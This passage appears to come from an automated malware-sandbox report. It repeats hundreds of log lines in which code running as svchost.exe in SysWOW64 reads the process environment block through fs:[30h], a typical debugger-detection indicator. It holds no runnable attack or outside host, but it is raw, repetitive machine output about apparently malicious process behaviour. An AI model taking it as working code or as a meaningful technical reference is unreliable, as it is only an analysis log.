                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov eax, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE10E mov ecx, dword ptr fs:[00000030h]2_2_03ADE10E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov ecx, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADA118 mov eax, dword ptr fs:[00000030h]2_2_03ADA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF0115 mov eax, dword ptr fs:[00000030h]2_2_03AF0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04164 mov eax, dword ptr fs:[00000030h]2_2_03B04164
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov ecx, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC4144 mov eax, dword ptr fs:[00000030h]2_2_03AC4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C156 mov eax, dword ptr fs:[00000030h]2_2_03A2C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC8158 mov eax, dword ptr fs:[00000030h]2_2_03AC8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36154 mov eax, dword ptr fs:[00000030h]2_2_03A36154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A280A0 mov eax, dword ptr fs:[00000030h]2_2_03A280A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC80A8 mov eax, dword ptr fs:[00000030h]2_2_03AC80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov eax, dword ptr fs:[00000030h]2_2_03AF60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]2_2_03AF60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3208A mov eax, dword ptr fs:[00000030h]2_2_03A3208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]2_2_03A2A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A380E9 mov eax, dword ptr fs:[00000030h]2_2_03A380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB60E0 mov eax, dword ptr fs:[00000030h]2_2_03AB60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]2_2_03A2C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A720F0 mov ecx, dword ptr fs:[00000030h]2_2_03A720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB20DE mov eax, dword ptr fs:[00000030h]2_2_03AB20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A020 mov eax, dword ptr fs:[00000030h]2_2_03A2A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C020 mov eax, dword ptr fs:[00000030h]2_2_03A2C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6030 mov eax, dword ptr fs:[00000030h]2_2_03AC6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4000 mov ecx, dword ptr fs:[00000030h]2_2_03AB4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD2000 mov eax, dword ptr fs:[00000030h]2_2_03AD2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E016 mov eax, dword ptr fs:[00000030h]2_2_03A4E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5C073 mov eax, dword ptr fs:[00000030h]2_2_03A5C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32050 mov eax, dword ptr fs:[00000030h]2_2_03A32050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6050 mov eax, dword ptr fs:[00000030h]2_2_03AB6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A307AF mov eax, dword ptr fs:[00000030h]2_2_03A307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE47A0 mov eax, dword ptr fs:[00000030h]2_2_03AE47A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD678E mov eax, dword ptr fs:[00000030h]2_2_03AD678E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A527ED mov eax, dword ptr fs:[00000030h]2_2_03A527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE7E1 mov eax, dword ptr fs:[00000030h]2_2_03ABE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A347FB mov eax, dword ptr fs:[00000030h]2_2_03A347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]2_2_03A3C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB07C3 mov eax, dword ptr fs:[00000030h]2_2_03AB07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C720 mov eax, dword ptr fs:[00000030h]2_2_03A6C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov ecx, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6273C mov eax, dword ptr fs:[00000030h]2_2_03A6273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAC730 mov eax, dword ptr fs:[00000030h]2_2_03AAC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C700 mov eax, dword ptr fs:[00000030h]2_2_03A6C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30710 mov eax, dword ptr fs:[00000030h]2_2_03A30710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A60710 mov eax, dword ptr fs:[00000030h]2_2_03A60710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38770 mov eax, dword ptr fs:[00000030h]2_2_03A38770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40770 mov eax, dword ptr fs:[00000030h]2_2_03A40770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov esi, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6674D mov eax, dword ptr fs:[00000030h]2_2_03A6674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30750 mov eax, dword ptr fs:[00000030h]2_2_03A30750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABE75D mov eax, dword ptr fs:[00000030h]2_2_03ABE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72750 mov eax, dword ptr fs:[00000030h]2_2_03A72750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB4755 mov eax, dword ptr fs:[00000030h]2_2_03AB4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]2_2_03A6C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A666B0 mov eax, dword ptr fs:[00000030h]2_2_03A666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34690 mov eax, dword ptr fs:[00000030h]2_2_03A34690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]2_2_03AAE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB06F1 mov eax, dword ptr fs:[00000030h]2_2_03AB06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]2_2_03A6A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]2_2_03A6A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E627 mov eax, dword ptr fs:[00000030h]2_2_03A4E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A66620 mov eax, dword ptr fs:[00000030h]2_2_03A66620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68620 mov eax, dword ptr fs:[00000030h]2_2_03A68620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3262C mov eax, dword ptr fs:[00000030h]2_2_03A3262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AAE609 mov eax, dword ptr fs:[00000030h]2_2_03AAE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A72619 mov eax, dword ptr fs:[00000030h]2_2_03A72619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]2_2_03AF866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]2_2_03A6A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A62674 mov eax, dword ptr fs:[00000030h]2_2_03A62674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4C640 mov eax, dword ptr fs:[00000030h]2_2_03A4C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]2_2_03AB05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]2_2_03A545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov eax, dword ptr fs:[00000030h]2_2_03A32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A32582 mov ecx, dword ptr fs:[00000030h]2_2_03A32582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A64588 mov eax, dword ptr fs:[00000030h]2_2_03A64588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E59C mov eax, dword ptr fs:[00000030h]2_2_03A6E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]2_2_03A5E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A325E0 mov eax, dword ptr fs:[00000030h]2_2_03A325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]2_2_03A6C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]2_2_03A6E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A365D0 mov eax, dword ptr fs:[00000030h]2_2_03A365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]2_2_03A6A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]2_2_03A40535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]2_2_03A5E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC6500 mov eax, dword ptr fs:[00000030h]2_2_03AC6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]2_2_03B04500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]2_2_03A6656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]2_2_03A38550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A364AB mov eax, dword ptr fs:[00000030h]2_2_03A364AB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A644B0 mov ecx, dword ptr fs:[00000030h]2_2_03A644B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABA4B0 mov eax, dword ptr fs:[00000030h]2_2_03ABA4B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA49A mov eax, dword ptr fs:[00000030h]2_2_03AEA49A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A304E5 mov ecx, dword ptr fs:[00000030h]2_2_03A304E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]2_2_03A2E420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C427 mov eax, dword ptr fs:[00000030h]2_2_03A2C427
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]2_2_03AB6420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A430 mov eax, dword ptr fs:[00000030h]2_2_03A6A430
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]2_2_03A68402
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABC460 mov ecx, dword ptr fs:[00000030h]2_2_03ABC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]2_2_03A5A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]2_2_03A6E443
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA456 mov eax, dword ptr fs:[00000030h]2_2_03AEA456
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2645D mov eax, dword ptr fs:[00000030h]2_2_03A2645D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5245A mov eax, dword ptr fs:[00000030h]2_2_03A5245A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]2_2_03A40BBE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]2_2_03AE4BB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]2_2_03A38BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5EBFC mov eax, dword ptr fs:[00000030h]2_2_03A5EBFC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ABCBF0 mov eax, dword ptr fs:[00000030h]2_2_03ABCBF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]2_2_03A50BCB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]2_2_03A30BCD
